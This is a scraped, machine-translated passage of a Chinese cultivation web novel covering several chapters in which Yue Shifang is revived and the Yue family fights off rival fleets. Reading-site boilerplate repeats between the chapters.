    If there are outsiders who are exploring the outside world at this moment, they will be surprised to find that Xue An''s breath is gradually disappearing.


    As for Yue Shifang, it was as if it had never existed.


    Soon, Xue An brought Yue Shifang to the bottom of the passage.


    This is the core of this planet, but it has been hollowed out by Xue An, forming a huge square.


    There is a huge furnace in the middle of the square, UU reading www.uukanshu. Com Cha Wenliang is busy with something by the furnace.


    When Xue An arrived here with Yue Shifang, Cha Wenliang wiped the sweat from his forehead.


    "It just happened, the liquid medicine in the pill furnace has been boiled, so quickly wake him up and put it in!"


    Xue An nodded, and then put Yue Shifang on the ground.


    At this time, Ao Shu stepped forward, looked at Yue Shifang, who was as thin as a skeleton, and couldn''t help asking: "Brother An, can he really wake up like this?"


    Xue An smiled, "It should be possible!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2350 Gourmet Reappearance (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2351： Hide from the sky

    With that, Xue An stretched out a finger and pointed it on Yue Shifang''s eyebrows.


    "The time has come, don''t you wake up yet?"


    Accompanied by this soft drink, a little brilliance suddenly flashed in Yue Shifang''s eyebrows.


    Then his whole body trembled.


    The amplitude of this jitter is so small that if you don''t observe it carefully, you will definitely think that you are wrong.


    But Xue An knew that this was a sign that Yue Shifang was about to wake up.


    In order to avoid being unable to wake up this kind of thing, Xue An deliberately agreed with Yue Shifang a secret word.


    The tone of what Xue An said just now implies this layer of secret information.


    Soon, Yue Shifang, who was originally skinny and like a skeleton, quickly plumped up.


    Ao Shu looked a little dumbfounded in this scene.


    "God, it really came alive!"


    At the same time, seeing Yue Shifang slowly opening a pair of godless eyes, although he couldn''t see it, he still keenly sensed the existence of Xue An and smiled at him.


    "Thanks for your hard work!"


    Xue An also smiled, "You are polite, the medicine to replenish your qi and blood is ready, I will put you in now, but there may be some pain, you have to hold back!"


    Yue Shifang chuckled, "Thank you for your reminder, let''s get started!"


    Xue An nodded, and then waved his hand, Yue Shicong flew directly into the pill furnace as if being held up by something.


    At the moment when the liquid medicine was in the body, Yue Shifang frowned, his face looked painful, but immediately he settled down, then closed his eyes, and tried to accept the aura that rushed into the body in the liquid medicine. Come.


    In an instant, a white cyclone loomed over his head, and the liquid medicine was slowly spinning around him.


    Cha Wenliang looked solemn, "Do you think it will be successful?"


    Xue An said indifferently: "Don''t doubt it, it will succeed!"


    "But I always feel that just at the beginning, there is such a great power, then this planet may not be able to bear it in the future!" Cha Wenliang murmured.


    Xue An was unhappy, "As long as he can survive the most critical period."


    "hope so!"


    And when Yue Shifang, who was in the core of the planet, started to make up his blood crazily, preparing for the next healing.


    On the surface of the planet, Yue Guannan blinked and looked at Xue An, who was drinking tea cup after cup, but had not even said a word, and there was an inexplicable light in his eyes.


    And Pan Ruomei, who was hiding in the void, frowned at this moment.


    "strange!"


    "What''s weird?" Ximenhao asked angrily.


    He really couldn''t stand Pan Ruomei''s idiot.


    Pan Ruomei murmured: "How do you feel that he has suddenly changed like a different person, and the previous elegant temperament has disappeared!"


    "Is there?" Ximenhao stared at Xue An for a long time and didn''t see why.


    "What should we do then?" Ximenhao asked.


    As soon as the voice fell, waves suddenly appeared in the void, and then Pan Ruomei stepped out.


    "You..." Ximen Hao was shocked.


    What does she want to do?


    Why didn''t you just walk out without saying hello?


    But at this time, it was too late to stop. In desperation, he had no choice but to cheer up and step out of the void.


    The sudden appearance of Pan Ruomei naturally shocked Yue Guannan.


    She suddenly raised her eyes, her eyes were like ice and swords, staring at Pan Ruomei, and at the same time the momentum around her body began to rise steadily, and she came to an unbelievable situation in the blink of an eye.


    Despite this, the smile on Pan Ruomei''s face is still bright, and she is swaying from her style.


    "Oh, I''m really interested, I actually drank tea here!"


    With that said, she strolled up to Xue An, and then, ignoring Yue Guannan''s killer gaze, bent over and sat directly beside Xue An.


    During the whole process, Xue An didn''t even lift his head, but drank the tea bit by bit, as if the tea in front of her was prettier than her.


    "What do you intend to do here?" Yue Guannan Han said.


    "Don''t be nervous, I just happened to pass by here and saw the two of you drinking tea, so I came over and talked about a cup!"


    Even if it was a liar, he wouldn''t believe this, but Yue Guannan didn''t say anything.


    At the same time, Pan Ruomei''s eyes all focused on Xue An.


    "Mr. Xue, it was a bit abrupt to be a slave in the Yue family before, please don''t be offended!"


    Xue An slowly raised his head, just in time with the smiling Pan Ruomei looking at each other.


    At this moment, Pan Ruomei felt all her hairs stand up.


    What a terrible look!


    It''s as creepy as a giant beast.


    Although her heart was shaking, the smile on her face remained the same.


    She is confident, as long as she is a man, she can''t resist her charming self.


    But this time she was wrong.


    Xue An only glanced at her coldly, and then lowered his head again, without even paying attention to her.


    Now, the smile on her face couldn''t hold back.


    After all, she hadn''t been so ignored before.


    Simon Hao, who followed him, almost laughed when he saw this.


    Let you scratch your head and pose, now it''s a closed door!


    But Pan Ruomei''s mental abilities are obviously extremely strong, and she adjusted her mood in an instant, and said with a chuckle: "Mr. Xue, can you let the slave family have a sip of your tea?"


    Xue An still didn''t look up but still filled a cup of tea casually, and then pushed over.


    "Thank you!" Pan Ruomei smiled.


    Then he picked up the white porcelain cup and put it on the end of his nose and sniffed it gently, "It smells so good!"


    As she said, she took a sip, and her eyes lit up.


    "Good tea! I really don''t know that Mr. Xue is not only good at training soldiers, but even the tea ceremony is so amazing!"


    Ximenhao, who was standing at the back, became impatient.


    He really didn''t know what Pan Ruomei wanted to do.


    It''s obviously very simple, why should it be so complicated.


    Now it''s even more of a tea with the other party, can''t it be over if you just do it!


    But when he was puzzled, Pan Ruomei suddenly seemed to be unsettled, staggered, and fell towards Xue An.


    The whole process is extremely fast.


    But at this instant, Xue An turned slightly to one side and avoided Pan Ruomei''s figure.


    Pan Ruomei fell heavily on the ground, a look of astonishment also appeared on her face.


    Because this is the first person to refuse his embrace.


    At this moment, Xue An raised his mouth slightly, revealing a smile like a beast.


    "Are you testing me?"


    Pan Ruomei also smiled, and then returned to her seat without changing her face.


    "I did want to test you just now, but not now, because I have already determined one thing!"


    "what''s up?"


    "You are not the same Xue An just now, right?"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2352： Return

    "Invincible, start with Dad Xianzun (!


    As soon as he said this, the atmosphere instantly became stagnant.


    Xue An, or Taotie grinned.


    Amidst the laughter, a mighty power came straight to Pan Ruomei.


    Pan Ruomei also smiled.


    It''s just that when she smiled, the power that had come straight to her disappeared directly.


    And the teapot and cups in the front burst directly, and the hot tea mixed with porcelain shards went straight to the gluttonous and Yue Guannan.


    Taotie opened his blood basin and swallowed all the attacks in one bite.


    Pan Ruomei flashed her eyes when she saw it, and then sneered, "Ancient fierce beast gluttony? It''s a pity that it''s just a juvenile, and it doesn''t pose any threat."


    Following the voice, Ximen Haoye appeared silently behind the gluttonous food, and then slashed his palm.


    Goutiao roared, dodges the blow sideways, and then fought with Ximenhao.


    Pan Ruomei snorted coldly, and the mist dissipated, and she was about to drag the gluttonous food into the illusion.


    Under the attack of the two phases, the situation of gluttonous gluttons was critical in an instant.


    Just at this moment, Yue Guannan, who was sitting on the sidelines, suddenly raised his hand and slashed his finger.


    Click!


    Accompanied by a crisp sound, the mist was instantly cut in half, and Pan Ruomei even snorted, stepped back a few steps, and a look of shock appeared on her face.


    "Yue Guannan, what do you mean?"


    Yue Guannan''s face was as pale as paper, but without any expression, he just said coldly: "No matter who he is, you won''t be able to teach him!"


    Pan Ruomei was furious, "Then you can go to death together!"


    When she said that, she launched a strong attack on Yue Guannan.


    Yue Guannan was unmoved, only making moves at a critical moment.


    But Pan Ruomei would be forced to retreat again and again with such a trick, making her unable to save at all.


    This situation made Pan Ruomei roar again and again, completely devoid of her previous feminine temperament.


    "Yue Guannan, I don''t believe you can keep going like this, you and this guy will have to die sooner or later!"


    Yue Guannan''s complexion became paler, because every move she made was actually burning her own life.


    But she still kept Pan Ruomei from the outside like a monument.


    The situation has reached a stalemate, but whether it is Pan Ruohan or Yue Guannan, it is very clear that if the situation continues in this way.


    Then the ultimate loser must be Yue Guannan.


    Even Yu Taotie understood this, so he kept roaring, trying to defeat Ximenhao, and instead dealt with Pan Ruomei together.


    But things backfired. Although Ximenhao''s strength was not as good as Pan Ruomei, he was not at the same level as Taotie.


    In this situation, no matter how angry and eager the glutton is, he can only be dragged into the abyss of bitter fighting.


    And just as the outside world was fighting, in the core of the planet deep underground, Yue Shifang, who was healing, also came to a critical moment.


    But seeing countless spiritual energy pouring into Yue Shifang''s body like a turbulent tide, the speed was so fast that a vortex was formed around Yue Shifang''s body.


    Cha Wenliang looked solemn, "The most critical moment is about to come, are you nervous?"


    Xue An smiled faintly, "What''s so nervous?"


    "But why am I suddenly so nervous?"


    "That''s because you are still too calm."


    As soon as the voice fell, there was a crackling sound.


    Cha Wenliang suddenly raised his eyes and looked at Yue Shifang in the pill furnace.


    Because this crisp sound came from Yue Shifang''s body.


    At the same time, all the liquid medicine in the pill furnace instantly evaporated into mist, enveloping Yue Shifang.


    The huge energy made the entire planet''s core tremble slightly.


    "Did you succeed?" Cha Wenliang trembled.


    Xue An''s eyes were cold, "It should be a success!"


    really.


    When the fog gradually dissipated, Yue Shi, who saw the red face, appeared in front of the two.


    At this moment, he is full of energy, his eyes are clear, and there is still a bit of depression before.


    Even he couldn''t believe it, looked down at his hand, and then said to Xue An with a smile.


    "It feels good!"


    Xue An also smiled, "Of course not bad, after all, you have successfully passed the first level!"


    Yue Shifang nodded, then looked up and looked at the space above.


    "outside����."


    Xue An said indifferently: "Needless to say, I already know, but now is not the time to take care of these, the most urgent thing is to heal your injuries first, otherwise once this opportunity is missed, there may be no chance again!"


    Yue Shi''s face nodded solemnly, "Understood, let''s start now!"


    Xue An looked at Cha Wenliang.


    Zha Wenliang reached out and took out a small bottle from his arms and licked his chapped lips, "Good luck!"


    After speaking, he threw the small bottle in his hand to Yue Shifang.


    Yue Shifang took it by hand, and after opening it, there was a plain pill inside.


    It was the pill that Xue An had refined before to replenish the soul.


    At that time, a total of two were refined, one of which was tested, and this one was specially reserved for Yue Shifang.


    Yue Shifang didn''t even hesitate and swallowed it directly.


    When the pill enters the abdomen, the majestic power burst forth, and in an instant it activated the runes of the entire cave.


    As the golden light flashed, it began to obscure Yue Shifang''s aura.


    Yue Shifang closed his eyes and meditated, his aura rising steadily.


    Even the runes that carried the whole hole became more and more shining.


    Cha Wenliang was trembling nervously.


    Because this was the goal he pursued throughout his life, if Yue Shifang could really recover from this, it would mean that his research was a complete success.


    Xue An looked calmly.


    With his keen sense of spirit, he can naturally perceive that Yue Shifang''s originally scarred and extremely weak soul is strengthening a little bit.


    After reaching a certain critical point, a loud bang came from Yue Shifang''s body.


    Along with this sound, the core of the entire planet and even the entire planet began to vibrate.


    This change naturally also alarmed Yue Guannan and Pan Ruomei who were fighting outside.


    I saw that they were separated, looking at the trembling wilderness with all their faces in surprise.


    "What''s the matter? Isn''t this planet dead? Why is there an earthquake?" Pan Ruomei asked in surprise seems to be to answer her question, her voice just fell, Yu Yueshi In Fang''s grave, an unbelievably powerful aura rose to the sky.


    But before this breath rushed out of the atmosphere, the runes hidden on the surface of the entire planet were also activated, forming a dazzling light curtain, directly intercepting this breath.


    Pan Ruomei was horrified, and suddenly realized something, and hissed in exclamation: "No, he is not dead at all, but is taking the opportunity to heal his wounds. Let''s go quickly, and then go to inform the lord!"


    It was Ximenhao who responded faster than her shout.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2352 Return (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2353： Supreme Power

    Even as soon as this light curtain was activated, Ximenhao turned into a stream of light and rushed out of the starry sky.


    But everything is too late.


    After passing through this key node, the soul in Yue Shifang''s body was finally fully replenished.


    He slowly opened his eyes in the ground.


    In the bright eyes, there is endless power.


    Then he stepped forward.


    Click!


    Along with his steps, the entire planet cracked a huge gap, and then he appeared in the high sky outside.


    After seeing his figure, Yue Guannan, who was already crumbling, chuckled lightly, and even fell backward.


    Without him.


    It was because she was too tired.


    The cost of overdrawing one''s life one after another is heavy.


    But before she landed, Yue Shiyi appeared beside her and hugged her.


    Looking at this familiar face, Yue Guannan, who had always been arrogant, flushed his eyes, and actually shed tears.


    Yue Shifang gave a chuckle and gently wiped away the teardrops from the corners of her eyes.


    "Okay, stop crying, let''s just look at me next!"


    In the soft voice, the majestic energy instantly poured into Yue Guannan''s body, completely making up for the life she had lost.


    Yue Guannan was surprised.


    Is this the strength of my brother after he has completely recovered?


    This is too incredible!


    But this is just the beginning.


    Seeing that Yue Shifang was caught in the air, Xi Menhao, who was already able to escape from this planet, felt that a huge force was coming from behind.


    He didn''t even have time to make a sound, so he was dragged back.


    When he saw Yue Shifang, who was standing not far away, his whole aura was like a stormy sea, Ximenhao''s teeth began to fight.


    In fact, it''s not just him, Pan Ruomei is no better than him.


    Even because of her strength, she can better understand Yue Shifang''s tyranny at this moment than Xi Menhao.


    That is an existence that has surpassed the way of heaven.


    And this sign also means that he has transcended the realm of saints and has come to a realm that mortals simply cannot understand.


    This state is also called the Supreme!


    After realizing this, Pan Ruomei instantly extinguished all thoughts of resistance in her heart and knelt down straight.


    Because as a person who is always with adults, she knows better than anyone what it means to be too superior.


    If the saint represents the top combat power in this world, then Taishang is the power that can deter everything.


    Because once it reaches this state, unless it exists at the same level, it can''t be eliminated at all.


    So she behaved very submissively, and knocked her head again and again after falling to her knees.


    "Little girl Pan Ruomei, welcome Patriarch Yue to return!"


    Seeing her doing this, Xi Menhao immediately knelt down without hesitation.


    Looking at the two kneeling on the ground, there was no sadness or joy in Yue Shifang''s eyes.


    "You were sent by him?"


    "Yes! Your lord told us to see if you are really dead!" Pan Ruomei replied honestly.


    "Haha!" Yue Shifang smiled, "He is really cautious!"


    Pan Ruomei did not dare to say anything.


    Because this kind of thing involves the existence of the top, she doesn''t even have the qualifications to interrogate.


    "Other than that, what else did he order?"


    "My lord also said that if you are really dead, you will bring your body back!"


    A touch of coldness appeared in Yue Shifang''s eyes.


    No matter how good his self-cultivation is, he can face an opponent who injured himself and suffered thousands of years of torture because of this, he will always have infinite anger in his heart.


    And it was this cold color that made Pan Ruomei and Xi Menhao''s hearts full of coldness.


    But they dare not even beg for mercy.


    Because they have been with adults for a long time, they have understood that in the eyes of these beings, they are actually the same as the mortal, and they are all ant-like existences.


    At the same time, Xue An, Cha Wenliang and Ao Shu also flew out of the huge crack.


    After arriving behind Yue Shifang, Yue Shifang asked without looking back: "Xue An, what do you think should be done with these two people?"


    As soon as these words came out, the two men immediately looked at Xue An with infinite pleading eyes.


    Xue An smiled indifferently as if he hadn''t seen it.


    "Doesn''t it depend on your own mood? If you can let it go, let them go, if you can''t let it go..."


    Although I didn''t say the following words, the meaning is already obvious.


    Yue Shifang nodded, "I understand!"


    As he spoke, he raised his hand with a wave.


    Pan Ruomei and Xi Menhao didn''t even hum, they disintegrated into the purest powder, and then dispersed with the wind.


    The whole process was not even a bit bloody, and it was as if an invisible hand had completely wiped it out.


    And when these two people were wiped out, Yue Shifang stepped on it.


    Numerous cracks appeared instantly under his feet, and they extended far away.


    In an instant, the runes on the surface of the entire planet shattered directly.


    And without the blockade of the Fuzhen, Yue Shifang''s momentum went straight into the world, shaking the galaxy.


    Xue looked quietly.


    He knew exactly what Yue Shifang was doing.


    This is announcing his return to the entire sky.


    At the same time, he was demonstrating to his former opponent.


    really.


    Just after a while, the void suddenly began to tremble, and the latter existence that could not be described in words was convenient for opening his eyes slowly in the boundless space, and staring coldly at Yue Shifang.


    This is a mysterious feeling similar to a virtual image but real. UU reading www.uukanshu. com


    And just being glanced at by this eye, Cha Wenliang and Ao Shu couldn''t help but indulge in it.


    Only Xue An snorted and barely stayed awake.


    At this moment, Yue Shifang suddenly sneered.


    "Since I have returned, can I still allow you to be presumptuous here?"


    Following the voice, Yue Shifang stretched out his hand and plunged into the void. Before this eye, the palm of his hand had become the size of the sun and the moon, and then he held it in his hand.


    Bang!


    After a muffled sound, this eye burst open.


    Faintly, there seemed to be a sad howl in an unfathomable dimension.


    Yue Shifang was not moved at all, and at the same time looked at the void with cold eyes.


    "Don''t worry, this is just the beginning. The hatred ten thousand years ago will eventually come to an end!"


    When the words fall, everything dissipates and recovers as before.


    Then Hou Yue Shifang turned his head and looked at Xue An, Cha Wenliang and others, with a smile on his face.


    "The matter here has been handled, come home with me!"


    "Good!" Xue An nodded.


    But this time Yue Shifang didn''t fly back like before, but with a wave of his hand, a soft brilliance engulfed Xue An and the others.


    "Sit down!"


    After speaking, the void in front suddenly rippled, and then everyone disappeared in place.


    And just after they disappeared, the planet disappeared silently.


    It''s as if it never existed.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2354： If the skin does not save the hair, how will it be attached?

    "Invincible, start with Dad Xianzun (!


    The Yue family is divided.


    As Long Yushu had expected, after the confrontation over the past few days, the vigorous vigor of everyone in the Yue family really wore off a lot, and the hearts of the people began to faintly agitated.


    In fact, Yue Hechang had anticipated this situation a long time ago.


    But helpless, what he faced was an almost insoluble situation.


    The other party has been circling around the door of the house, so I can''t just sit back and watch!


    Therefore, he can only raise the alert of the entire family.


    The result of this is that strings that are too tight tend to loosen first.


    In this regard, Yue Hechang can only let people rotate on duty, hoping to delay the appearance of this state as much as possible.


    As for this situation, and all the efforts Yue Hechang made, Long Yushu had seen everything in his eyes.


    At this moment, he was holding a glass of mellow wine, standing in front of the porthole and looking at the soldier of the Yue family who was defending in the distance, a cold smile appeared at the corner of his mouth.


    "Is the time ripe? How long do we need to wait like this?" Sima Chongchao stepped closer and asked impatiently.


    "Haha!" Long Yushu smiled, drank the wine in his glass, and then said in a deep voice.


    "Send my order, prepare to attack!"


    "Yes!"


    With an order, the fleet belonging to the Long family immediately began to take action.


    And Sima Chongchao couldn''t help but be overjoyed when he saw this scene, and immediately preached: "The Sima family acted together!"


    In an instant, the entire fleet assembled into a battle formation, and then rushed towards the Yue family camp ahead.


    The whole process is very long, in fact, it takes no more than three minutes in total.


    In the face of the fleet that suddenly attacked, Yue Hechang, who was guarding the fleet, was also taken aback, but he calmed down immediately, and then shouted loudly.


    "Don''t panic, stand firm and prepare to fight!"


    His calm calmed down the crowd who had been restless because of the enemy attack.


    Immediately afterwards, Yue Hechang took the lead and stood at the forefront of the team, facing the two fleets rushing aggressively, his face sinking like a waterway: "Sure enough, I still can''t hold back the battle? Let''s go to war!"


    The distance between the two parties was not that far, so as soon as Yue and Chang''s voice fell, they heard a loud bang, and the fleet slammed into the fortifications built by the Yue family.


    The light curtain on the fortifications rose brightly, but in the next second it was smashed to pieces by the fleet, and the force of destruction went straight to Yue Hechang and the others.


    Many people looked horrified, and even trembled all over.


    Because the momentum of this blow is too great.


    But at this moment, he saw Yue and Chang Yangtian roaring.


    "Return me!"


    With the words, the blood of his whole body began to burn, and the powerful strength that broke out was turned into a wave of extremely terrifying attacks, directly hitting the dragon''s flagship that rushed first.


    Standing in front of the porthole, Long Yushu couldn''t help but sneer after seeing the blow.


    "It''s really stupid! Do you want to smash my flagship with flesh and blood?"


    really.


    When this wave of Yue Hechang''s attack hit the Dragon''s flagship, it only damaged a few pieces of battle armor on the surface.


    In addition, this flagship did not even slow down its forward speed by half.


    Seeing this scene, many people in the Yue family were even more frightened.


    As for Yue Hechang, he vomited a few big mouthfuls of blood at the time when he couldn''t make a full blow, and his figure was crumbling like a dead leaf in the wind.


    But despite this, he still stood firmly on the spot, speaking in a weak but extremely firm tone.


    "Don''t panic and hold your ground, otherwise if you back down, you will all fail!"


    The tragedy contained in this sentence has infected many people.


    Although people have the desire to survive and die, there are still people who are not afraid of death at this critical juncture.


    Therefore, in an instant, dozens of brilliance rose from the camp behind Yue Hechang, forming another powerful attack toward the fleet.


    Boom!


    There was another dull loud noise.


    This time the Dragon��s flagship swayed a little bit.


    But that''s all there is to it.


    This behemoth is really like an ancient fierce beast, rushing towards everyone with a terrifying posture.


    Just as many people looked desperate, a deep shout suddenly came from behind them.


    "Don''t panic, everyone, I''m here!"


    "And I!"


    "And I!"


    With a shout, Yue Hechang and everyone present turned their heads and looked.


    But seeing that Yue Junze led all the young people in the Yue family was rushing here.


    Seeing this scene, Yue Hechang almost squirted out another mouthful of blood, and even shouted: "What are you doing here? Hurry up, go!"


    When Yue Junze heard his father''s shout, he smiled freely and said: "Father, there is no hair on the skin? If the Yue family fails in this battle, then what is the meaning of us people even if we survive? It would be better to have fun. Quickly make a call, it doesn''t count as losing my Yue family man''s prestige!"


    "Yes! Elder Yue, we all think so!"


    "Yes!"


    The teenagers behind Yue Junze responded.


    Looking at these immature but full of heroic faces, Yue Hechang felt that his nose was sour and almost shed tears.


    "You silly kids!"


    When Yue Junze arrived, the soldiers of the Yue family who had fallen into despair on the scene were also refreshed, and they actually restored some of the sluggishness on the battlefield.


    And this scene made Long Yushu coldly snorted.


    He really didn''t expect the Yue Family to play such a hand.


    "But that''s fine, it just happens to completely wipe you out, cut the grass and roots!" Long Yushu grinned and waved his hand.


    "Strike at full speed!"


    The entire fleet rumblingly began to accelerate, and rushed towards Yue Hechang and the others.


    However, Yue Hechang, Yue Junze and others worked together, shouting together, burst out their most powerful forces, gathered together, formed a wave of attacks, and blasted toward the fleet.


    Click!


    This time I finally heard some different sounds, and saw that the flagship of the Long Family finally showed a few deep cracks, and the speed also slowed down.


    But before everyone in the Yue family was fortunate, the Sima family''s flagship, which immediately followed this Long family''s flagship, accelerated suddenly and rolled over to everyone again. UU reading


    Sima Chongchao inside said with a strange smile: "It''s useless. In the face of absolute strength, all struggles are futile. You should accept your fate!"


    But his voice just fell, but he saw two brilliance suddenly rise from the Yue family headquarters, and in an instant they came to the field, standing in the forefront of the Yue family''s team.


    It is the second girl and Yue Qinghuan.


    Their appearance also stunned Yue Hechang, Yue Junze and others.


    Because since returning from the funeral, the two of them locked themselves in the backyard and never showed up again.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2354 Does not save hair will be attached? (first update)) reading records, next time you open the bookshelf to see!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2355： Human wall

    Although Yue Hechang mentioned the confrontation with the Long Family and the Sima Family several times to the second girl, they never got a response.


    At that time, everyone thought that the second girl and Yue Qinghuan must be overwhelmed by the death of the Patriarch, so they hid and ignored the affairs of the world.


    So even at this critical moment, Yue Hechang and others did not alarm them both.


    But never expected that they actually appeared on their own initiative.


    "Second girl, you guys..." Yue Hechang said in a little astonishment.


    The second girl smiled faintly, "At this moment of crisis, how can we, as members of the Yue family, be absent?"


    With that, she rushed to the side Yue Qinghuan and nodded.


    "let''s start!"


    "it is good!"


    The two immediately flew up, pulled out a light curtain in the air, and rushed towards the flagship of the Sima family.


    When Sima Chongchao saw the two of them through the porthole, greed appeared in his eyes.


    "Hey, it seems that the Yue family is really no one, and they actually let two women on the battlefield! But do you think that just such a thin light curtain can stop me? It''s so naive!"


    With that, Sima Chongchao suddenly urged the flagship at his feet.


    The ship trembled all over, and then burst out with terrifying power, rushing forward.


    The speed was so fast that there was even a sharp sound of breaking through the air.


    "Second girl, get out of here!" Yue Hechang couldn''t help exclaiming when he saw this.


    But the second girl and Yue Qinghuan weren''t moved at all, but the brilliance in their eyes was more prosperous, and even this light curtain became thicker.


    When the two collided, the light curtain lasted for only a second, and then it shattered like glass.


    The two girls and Yue Qinghuan snorted together and were shaken back hundreds of feet away, but the two of them were not discouraged, and immediately urged the whole body to cultivate.


    In an instant, another light curtain appeared.


    "Hahahaha, this is useless, you two should surrender obediently! As long as you are willing to commit yourself to me, I can spare your lives!"


    Sima Chongchao''s crazy laughter came from the ship.


    Upon hearing this, Yue Hechang and the many men of the Yue family all showed humiliation.


    Because the second girl and Yue Qinghuan are both female relatives of the Yue family, but now they are being molested in public, it is equivalent to slapped everyone present in the face.


    "Let''s do it together, fight with them!" Yue Hechang roared angrily.


    All the members of the Yue family immediately flew up, stood behind the light curtain constructed by the second girl and Yue Qinghuan, and then burned up their entire body to supplement the light curtain.


    Human wall!


    This is equivalent to everyone in the Yue family building a wall of people with their lives.


    When Sima Chongchao saw this, he smiled even more arrogantly and proudly.


    "It''s really a moving spirit of sacrifice. It''s a pity that no matter how strong the spirit is, it can''t change your destiny that is about to fall!"


    "Today is the day when your Yue family is completely removed from the twelfth branch of the military strategist!"


    Following Sima Chongchao''s words, this flagship rushed towards the light curtain and the crowd at a crazy speed.


    All the people of the Yue family showed the look of death at home.


    But at the moment when this flagship was about to hit the light curtain.


    Suddenly, Sima Chongchao felt the ship under his feet tremble suddenly, and then he was blasted sideways by an inexplicable force.


    That''s right!


    This huge flagship, which looked like a mountain, rolled and flew out like this.


    This thing happened so quickly that even everyone did not react, and the ship had already flown far away.


    Then it began to disintegrate in midair.


    This sudden scene stunned everyone.


    How is this going?


    Only the second girl and Yue Qinghuan suddenly thought of something and immediately looked up.


    At this moment, Sima Chongchao flew out of the broken flagship in embarrassment, and then shouted hysterically.


    "Who! Who actually attacked in secret?"


    The voice was filled with infinite anger.


    But just as his roar fell, a cold and indifferent voice came from behind him.


    "Why is Patriarch Sima so angry?"


    Although the sound was not loud, it was clear and unmistakable in the ears of everyone present.


    Everyone''s eyes widened instantly.


    Especially in the Yue family camp, many people trembled uncontrollably.


    Because of this voice... it''s so familiar.


    However, Sima Chongchao had the most violent reaction. He saw a huge shock all over his body, and then slowly turned around.


    When he saw the familiar figure, his pupils instantly shrank to the size of a pinpoint, and a ghostly look appeared on his face.


    "How... how is it possible! Aren''t you dead already?"


    That''s right!


    It was Yue Shifang who had come back from the dead to appear here.


    He only smiled faintly, "Yes, I am dead, but some people don''t seem to be going to let my family go, so I am alive again!"


    Sima Chongchao only felt that the whole body was cold, and his heart trembled.


    Because he was shocked to discover that even though Yue Shifang in front of him was simply standing there, he completely suppressed his power.


    Moreover, this suppression is still an extremely arrogant and totally unreasonable suppression.


    Even if he upholds the way of heaven , there is no way to fight back.


    This kind of feeling, he has only felt in some unspeakable existence.


    At this point, a thought flashed through his mind.


    And it was this thought that made his face pale instantly.


    "you you����."


    You have been for a long time, but you can''t even say a complete sentence.


    Yue Shifang smiled faintly, "Patriarch Sima seems to be very excited, is it because he is happy to see my injury healed?"


    As soon as this statement came out, Sima Chongchao stood blankly on the spot.


    At the same moment, a brilliance flew out of the Long Family''s flagship in the distance, and then fled to the distance at a speed that could not cover the ears.


    Yue Shifang looked at it with a smile, as if not anxious at all, waiting for this brilliance to fly out of sight, he said lightly.


    "Patriarch Long, why don''t you leave without saying goodbye?"


    As he said, he stomped his foot abruptly.


    "come back!"


    With two simple words, Long Yushu, who had escaped hundreds of millions of miles, felt a flower in front of him, and then appeared in front of Yue Shi.


    This bizarre scene immediately confirmed the speculation in their hearts.


    Because they are quasi-saints, even saints can''t play with them in such an understatement.


    Only the existence above the saint can do this with ease.


    At this point, the two of them immediately gave up all resistance and stood obediently.


    As for the others, they are completely stupid.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2356： Sacrificial flag

    "Invincible, start with Dad Xianzun (!


    As soon as this statement came out, Yue Hongyuan was shocked at the time, and then his complexion became extremely ugly.


    As a branch of his family, how could he not understand what this meant.


    Obviously, this young man who was highly regarded by Yue Shifang wanted to sacrifice his flag.


    Thinking of himself being treated as a whetstone that could be discarded at any time from the beginning, Yue Hongyuan fell into almost hysterical madness.


    "Convict? Why am I guilty? I just want to replace that sick guy. Isn''t that..."


    puff!


    The muffled sound of a sword blade across his skin blocked all the words behind him.


    Blood spurted out.


    Yue Hongyuan slowly lowered his head, looking at the sword tip emerging from his neck in disbelief.


    The blood was dripping down the blade.


    Yue Hongyuan felt dizzy in front of his eyes, and the strength of his body was quickly fading.


    At the same time, I heard a cold voice behind me.


    "What''s the matter?"


    But at this time, Yue Hongyuan had no strength to answer Xue An''s questions.


    His muscles were trembling slightly.


    That is a manifestation that the cultivation base is dying fast.


    Immediately afterwards, I saw Xue An slowly raising his hand and pulling the sword out of Yue Hongyuan''s neck.


    When the tip of the sword separated from his body, Yue Hongyuan thumped and fell to the ground, his entire body twitching unconsciously.


    That is the remaining neural response.


    As for his soul, it had already disappeared with Xue An''s sword.


    Of course, this is not to say that Yue Hongyuan''s strength is so weak that he can even be killed by Xue An.


    The real reason is that after Xue An took over as the military envoy, the coercion accumulated by the Yue family for many generations has already been used by him.


    Under this vast power, Yue Hongyuan could only be slaughtered by others, and he didn''t even have the strength to resist at all.


